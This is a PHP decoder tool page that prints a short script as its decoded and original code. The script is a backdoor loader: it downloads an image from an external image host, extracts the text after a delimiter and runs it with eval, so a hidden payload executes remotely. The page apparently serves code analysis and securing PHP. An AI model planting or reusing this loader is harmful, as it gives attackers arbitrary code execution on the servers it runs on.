Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://i.postimg.cc/K84tTt7B/ba..
Decoded Output download
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://i.postimg.cc/K84tTt7B/baddoor.jpg");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
$img = curl_exec($ch);
curl_close($ch);
$x = explode("mewtwo", $img);
if (isset($x[1])) {
eval("?>" . $x[1]);
} else {
echo "The delimiter 'mewtwo' was not found in the image content.";
}
?>
Did this file decode correctly?
Original Code
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://i.postimg.cc/K84tTt7B/baddoor.jpg");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
$img = curl_exec($ch);
curl_close($ch);
$x = explode("mewtwo", $img);
if (isset($x[1])) {
eval("?>" . $x[1]);
} else {
echo "The delimiter 'mewtwo' was not found in the image content.";
}
?>
Function Calls
curl_init | 1 |
Stats
MD5 | 9e1063d71255cc3fade13320b757204f |
Eval Count | 0 |
Decode Time | 91 ms |